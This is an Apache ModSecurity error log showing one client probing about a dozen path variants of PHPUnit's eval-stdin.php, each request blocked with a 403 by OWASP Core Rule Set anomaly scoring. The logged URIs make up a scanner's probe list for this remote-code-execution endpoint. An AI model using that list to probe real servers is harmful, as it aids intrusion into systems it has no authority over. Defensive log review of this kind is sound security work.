[Sun Oct 25 12:29:23.426730 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCgAAAEc"]
[Sun Oct 25 12:29:23.427166 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCgAAAEc"]
[Sun Oct 25 12:29:23.427548 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCgAAAEc"]
[Sun Oct 25 12:29:23.842289 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCwAAAEc"]
[Sun Oct 25 12:29:23.842821 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCwAAAEc"]
[Sun Oct 25 12:29:23.843176 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCwAAAEc"]
[Sun Oct 25 12:29:24.245701 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDAAAAEc"]
[Sun Oct 25 12:29:24.246162 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDAAAAEc"]
[Sun Oct 25 12:29:24.246504 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDAAAAEc"]
[Sun Oct 25 12:29:24.485199 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDQAAAEc"]
[Sun Oct 25 12:29:24.485688 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDQAAAEc"]
[Sun Oct 25 12:29:24.485994 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDQAAAEc"]
[Sun Oct 25 12:29:24.731097 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDgAAAEc"]
[Sun Oct 25 12:29:24.731536 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDgAAAEc"]
[Sun Oct 25 12:29:24.731823 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZJhqgnbPQM86Wt8CDgAAAEc"]
[Sun Oct 25 12:29:25.047475 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CDwAAAEc"]
[Sun Oct 25 12:29:25.047956 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CDwAAAEc"]
[Sun Oct 25 12:29:25.048289 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CDwAAAEc"]
[Sun Oct 25 12:29:25.463424 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CEAAAAEc"]
[Sun Oct 25 12:29:25.463866 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CEAAAAEc"]
[Sun Oct 25 12:29:25.464235 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CEAAAAEc"]
[Sun Oct 25 12:29:25.780594 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CEQAAAEc"]
[Sun Oct 25 12:29:25.781103 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CEQAAAEc"]
[Sun Oct 25 12:29:25.781448 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZZhqgnbPQM86Wt8CEQAAAEc"]
[Sun Oct 25 12:29:26.079266 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CEgAAAEc"]
[Sun Oct 25 12:29:26.079741 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CEgAAAEc"]
[Sun Oct 25 12:29:26.080116 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CEgAAAEc"]
[Sun Oct 25 12:29:26.445608 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CEwAAAEc"]
[Sun Oct 25 12:29:26.446099 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CEwAAAEc"]
[Sun Oct 25 12:29:26.446459 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CEwAAAEc"]
[Sun Oct 25 12:29:26.658142 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CFAAAAEc"]
[Sun Oct 25 12:29:26.658638 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CFAAAAEc"]
[Sun Oct 25 12:29:26.658980 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CFAAAAEc"]
[Sun Oct 25 12:29:26.880956 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CFQAAAEc"]
[Sun Oct 25 12:29:26.881415 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CFQAAAEc"]
[Sun Oct 25 12:29:26.881763 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uZphqgnbPQM86Wt8CFQAAAEc"]
[Sun Oct 25 12:29:27.157313 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CFgAAAEc"]
[Sun Oct 25 12:29:27.157732 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CFgAAAEc"]
[Sun Oct 25 12:29:27.158038 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at4uZ5hqgnbPQM86Wt8CFgAAAEc"]
